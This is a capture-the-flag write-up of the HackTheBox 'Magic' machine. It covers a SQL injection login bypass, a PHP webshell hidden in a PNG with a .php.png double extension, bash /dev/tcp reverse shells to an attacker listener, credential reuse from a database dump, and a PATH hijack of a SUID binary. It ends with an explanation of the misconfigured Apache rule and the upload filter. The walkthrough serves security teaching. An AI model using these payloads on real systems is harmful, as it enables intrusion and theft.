Magic has two common steps, a SQLI to bypass login, and a webshell upload with a double extension to bypass filtering. From there I can get a shell, and find creds in the database to switch to user. To get root, there’s a binary that calls popen without a full path, which makes it vulnerable to a path hijack attack. In Beyond Root, I’ll look at the Apache config that led to execution of a .php.png file, the PHP code that filtered uploads, and the source for the suid binary.

Box Info

Name Magic Magic
Play on HackTheBox
Release Date 18 Apr 2020
Retire Date 22 Aug 2020
OS Linux Linux
Base Points Medium [30]
Rated Difficulty Rated difficulty for Magic
Radar Graph Radar chart for Magic
First Blood User 00 days, 00 hours, 18 mins, 31 seconds morph3
First Blood Root 00 days, 00 hours, 32 mins, 48 seconds InfoSecJack
Creator TRX



nmap shows only two TCP ports, SSH (22) and HTTP (80):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2020-04-18 15:01 EDT
Nmap scan report for
Host is up (0.013s latency).
Not shown: 65533 closed ports
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 7.79 seconds
root@kali# nmap -p 22,80 -sV -sC -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2020-04-18 15:01 EDT
Nmap scan report for
Host is up (0.014s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 7.56 seconds

Based on the Apache and OpenSSH versions, this looks like Ubuntu 18.04 Bionic.

Website - TCP 80


The site is an image hosting site:


At the bottom, it says “Please Login, to upload images.”

SQLi Login Bypass

Clicking Login leads to /login.php, with a simple login form:


I tried a few basic logins like admin/admin and magic/magic without luck. I tried a basic SQLi login bypass of username ' or 1=1-- -, and it logged me in.

This works because the site must be doing something like:

SELECT * from users where username = '$username' and password = '$password';

So my input makes that:

SELECT * from users where username = '' or 1=1-- -and password = 'admin';

That must satisfy the site’s logic, as it allows me in.


On successful login, the browser is redirected to /upload.php:


If I try to upload shell.php, it returns:


If I try to upload a PHP webshell named shell.jpg, it responds:


If I upload a legitimate image file, at the top left, it reports it’s been uploaded:


Back on /index.php, my image is there:


I can view the location of the image, which is /images/uploads/[name I submitted].

Directory Brute Force

gobuster doesn’t show anything I didn’t see just looking around the site:

root@kali# gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -o scans/gobuster-root-medium-php
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:  
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
2020/04/18 15:04:10 Starting gobuster
/images (Status: 301)
/index.php (Status: 200)
/login.php (Status: 200)
/assets (Status: 301)
/upload.php (Status: 302)
/logout.php (Status: 302)
/server-status (Status: 403)
2020/04/18 15:14:01 Finished

Shell as www-data

Upload PHP Webshell

Bypass Filters

To check the filters on upload, I like to find the POST request where the legitimate image file was uploaded in Burp and send it to repeater. After making sure it successfully submits, I’ll start changing things to see where it break. There are three checks that a site typically employs with this kind of upload:

  • file extension block/allow lists;
  • mimetype or Magic bytes for the file must match that of the allowed type(s);
  • Content-Type header on the image must be image.

Some testing shows that there are at least two filters applied on upload: filename must end with .jpg, .jpeg, or .png and mimetype passes for images.

The second filter can be bypassed by putting PHP code into the middle of a valid image.

I’ll create a copy of my image and name it avatar-mod.png. Then I’ll open it with vim and add a simple PHP webshell to the middle of the file:


The file starts with the legit magic bytes for a PNG, but I’d added the webshell into the middle of the file. This file uploads without issue.

Getting Execution

There is still a problem here. I need some way to get the website to treat this file like PHP (and thus execute it) and not like an image. Typically that’s done by extension. If the site were blocking .php saying that was not allowed, I would try things like .php5, and .phtml. But since the error message is suggesting there’s a whitelist of the three image file extensions, that seems less likely.

One thing worth trying is putting .php in the file name, just not at the end. This won’t execute on a well configured server, but there are misconfigurations that might allow it.

I’ll create a copy of just the plain image file and name it test.php.png. When I upload that, it is broken on the main page, and when I view it directly in /images/uploads, it shows the text of the file, not the image:


I’ll look at why the webserver is treating that file that way in Beyond Root, but seeing this handled as PHP and not an image is enough for me to move forward. I’ll rename my image with a PHP webshell in it to avatar.php.png and upload it. When I visit, I can see the execution in the middle of the page:



To get a shell from here, I just need to pass in a reverse shell. Visiting -c 'bash -i >%26 /dev/tcp/ 0>%261' works:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
bash: cannot set terminal process group (1140): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/Magic/images/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Priv: www-data –> theseus


Looking at the home directories, there’s one user, theseus, and as www-data I can see user.txt but not read it:

www-data@ubuntu:/home$ ls
www-data@ubuntu:/home/theseus$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos  testing  user.txt

Enumerating as www-data didn’t turn out anything obvious, so I went into the web configurations to see what I could find. The site is hosted out of /var/www/Magic:

www-data@ubuntu:/var/www/Magic$ ls
assets  db.php5  images  index.php  login.php  logout.php  upload.php

db.php5 does have creds for the database:

class Database
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';

    private static $cont  = null;

    public function __construct() {
        die('Init function is not allowed');

    public static function connect()
        // One connection through whole application
        if ( null == self::$cont )
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
            catch(PDOException $e)
        return self::$cont;

    public static function disconnect()
        self::$cont = null;

Database Dump

Unfortunately, mysql, the binary I would typically use to connect to the local port and interrogate the DB, isn’t on the box. This is a case where having a full PTY shell on the box paid off, because when I typed mys[tab][tab][tab], it gave a list of things that were on the box:

www-data@ubuntu:/var/www/Magic$ mysql
mysql_config_editor        mysql_secure_installation  mysqladmin                 mysqld                     mysqldumpslow              mysqlrepair
mysql_embedded             mysql_ssl_rsa_setup        mysqlanalyze               mysqld_multi               mysqlimport                mysqlreport
mysql_install_db           mysql_tzinfo_to_sql        mysqlbinlog                mysqld_safe                mysqloptimize              mysqlshow
mysql_plugin               mysql_upgrade              mysqlcheck                 mysqldump                  mysqlpump                  mysqlslap

It would have been not that hard to upload Chisel and create a tunnel from my host to the MySQL port (3306) listening on localhost on Magic, but mysqldump jumped out as an alternative. Once I figured out the syntax, it worked like a charm:

www-data@ubuntu:/$ mysqldump --user=theseus --password=iamkingtheseus --host=localhost Magic
mysqldump: [Warning] Using a password on the command line interface can be insecure.              
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)                                           
-- Host: localhost    Database: Magic                                                             
-- ------------------------------------------------------                             
-- Server version       5.7.29-0ubuntu0.18.04.1                                       

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;                                 
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;                               
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;                                 
/*!40101 SET NAMES utf8 */;              
/*!40103 SET TIME_ZONE='+00:00' */;              

-- Table structure for table `login`                     
DROP TABLE IF EXISTS `login`;                            
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (                                   
  `id` int(6) NOT NULL AUTO_INCREMENT,                   
  `username` varchar(50) NOT NULL,                       
  `password` varchar(100) NOT NULL,                      
  PRIMARY KEY (`id`),                                    
  UNIQUE KEY `username` (`username`)                     
/*!40101 SET character_set_client = @saved_cs_client */;

-- Dumping data for table `login`

/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;                                           
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;                  
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;                
-- Dump completed on 2020-04-19 11:21:47

This tool dumps out SQL such that all the commands are here to rebuild this database. There’s one INSERT statement for the login table:

INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');


These creds do work to login without SQLi on the webpage, but they also work for su to theseus:

www-data@ubuntu:/home/theseus$ su - theseus

And from there I can grab user.txt:

theseus@ubuntu:~$ cat user.txt

Priv: theseus –> root


Any enumeration script will highlight SUID binaries, or I can find files owned by root with SUID set using find:

www-data@ubuntu:/$ find / -user root -type f -perm -4000  -ls 2>/dev/null
   393232     24 -rwsr-x---   1 root     users              22040 Oct 21  2019 /bin/sysinfo

/bin/sysinfo is new to me, so I’ll check it out. It’s also interesting that only members of the users group can execute it, and theseus is the only member of that group:

www-data@ubuntu:/$ cat /etc/group | grep users

I can run the binary, and it prints out a bunch of information about the system:

Click for full size image


Running sysinfo with ltrace prints out the calls made outside the binary. There’s a ton of output, but looking through it, there’s a line that jumps out at me:

theseus@ubuntu:/$ ltrace sysinfo
popen("fdisk -l", "r")                           = 0x55e43e4e9280                 
fgets(fdisk: cannot open /dev/loop0: Permission denied
fdisk: cannot open /dev/loop1: Permission denied
fdisk: cannot open /dev/loop2: Permission denied
fdisk: cannot open /dev/loop3: Permission denied                                                   
fdisk: cannot open /dev/loop4: Permission denied

popen is another way to open a process on Linux. The binary is making a call to fdisk, which is fine, except that it is doing so without specifying the full path. This leave the binary vulnerable to path hijacking.


I’ll create a reverse shell script in /dev/shm:

theseus@ubuntu:/dev/shm$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/ 0>&1'

bash -i >& /dev/tcp/ 0>&1
theseus@ubuntu:/dev/shm$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/ 0>&1' > fdisk
theseus@ubuntu:/dev/shm$ chmod +x fdisk 

I’ll test it and make sure it connects, and it does:

theseus@ubuntu:/dev/shm$ ./fdisk

Now I’ll update my current path to include /dev/shm:

theseus@ubuntu:/dev/shm$ echo $PATH
theseus@ubuntu:/dev/shm$ export PATH="/dev/shm:$PATH"
theseus@ubuntu:/dev/shm$ echo $PATH                  

Now when I run sysinfo, when it gets to the fdisk call, I get a shell at my nc listener:

theseus@ubuntu:/dev/shm$ sysinfo                                                                   
====================Hardware Info====================          
H/W path           Device      Class      Description                                              
                               system     VMware Virtual Platform
/0                             bus        440BX Desktop Reference Platform
/0/46/0.0.0        /dev/cdrom  disk       VMware IDE CDR00
/1                             system     

====================Disk Info====================

At nc:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
root@ubuntu:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)

And I can grab root.txt:

root@ubuntu:/# cat /root/root.txt

Beyond Root


One of the things to verify was why test.php.png was handled by the webserver as PHP code and not as an image. Networked had a similar issue.

I started in the /etc/apache2 directory, and found php7.3.conf enabled:

www-data@ubuntu:/etc/apache2$ ls -l mods-enabled/php7.3.conf 
lrwxrwxrwx 1 root root 29 Oct 18  2019 mods-enabled/php7.3.conf -> ../mods-available/php7.3.conf

Looking in that file, there’s the directive for how PHP files are handled:

<FilesMatch ".+\.ph(ar|p|tml)$">
    SetHandler application/x-httpd-php

Strangely, that looks fine. There’s a trailing $ on the FilesMatch string, which means the file has to end with the string. So how did my upload execute?

The answer is that there’s an .htaccess file in the web directory:

www-data@ubuntu:/var/www/Magic$ ls -la .htaccess 
-rwx---r-x 1 www-data www-data 162 Oct 18  2019 .htaccess

This file overrides the config on how PHP files are handled:

<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
<Files ~ "\.(sh|sql)">
   order deny,allow
   deny from all

This regex doesn’t have the trailing $, which means it will match is .php is anywhere in the string.

Upload Filters

I also wanted to take a look at the source code for for upload.php to see what filtering was happening on uploads. There are three checks in the code, but one of them is commented out:

$allowed = array('2', '3');                                                                               
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));                                                                                            
if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg") {                                                                               
    echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</script>";
    $uploadOk = 0;                    

if ($uploadOk === 1) {
    // Check if image is actually png or jpg using magic bytes
    $check = exif_imagetype($_FILES["image"]["tmp_name"]);
    if (!in_array($check, $allowed)) { 
        echo "<script>alert('What are you trying to do there?')</script>";
        $uploadOk = 0;
//Check file contents
/*$image = file_get_contents($_FILES["image"]["tmp_name"]);
    if (strpos($image, "<?") !== FALSE) {
        echo "<script>alert('Detected \"\<\?\". PHP is not allowed!')</script>";
        $uploadOk = 0;

The first one gets the extension from the uploaded file, and checks that it is jpg, jpeg, or png.

The second one gets the Mimetype using exif_imagetype. According to the PHP manual, this will:

exif_imagetype() reads the first bytes of an image and checks its signature.

When a correct signature is found, the appropriate constant value will be returned otherwise the return value is FALSE.

The two return values of interest here are IMAGETYPE_JPEG (2) and IMAGETYPE_JPNG (3), which show up in $allowed.

The third check is commented out, but would have made this very difficult. It checks if <? is in the file at all, and rejects it if so. I would think this could be very false positive prone, as those two bytes could easily show up as color values. Perhaps that’s why it’s commented out.

sysinfo Source

I was planning to reverse enginner sysinfo, but in /root there’s a info.c file:

#include <unistd.h>
#include <iostream>
#include <cassert>
#include <cstdio>
#include <iostream>
#include <memory>
#include <stdexcept>
#include <string>
#include <array>

using namespace std;

std::string exec(const char* cmd) {
    std::array<char, 128> buffer;
    std::string result;
    std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(cmd, "r"), pclose);
    if (!pipe) {
        throw std::runtime_error("popen() failed!");
    while (fgets(, buffer.size(), pipe.get()) != nullptr) {
        result +=;
    return result;

int main() {
    cout << "====================Hardware Info====================" << endl;
    cout << exec("lshw -short") << endl;
    cout << "====================Disk Info====================" << endl;
    cout << exec("fdisk -l") << endl;
    cout << "====================CPU Info====================" << endl;
    cout << exec("cat /proc/cpuinfo") << endl;
    cout << "====================MEM Usage=====================" << endl;
    cout << exec("free -h");

This code makes a series of calls to various functions, all without full paths. I could have impersonated any of lshw, fdisk, cat, or free to get execution.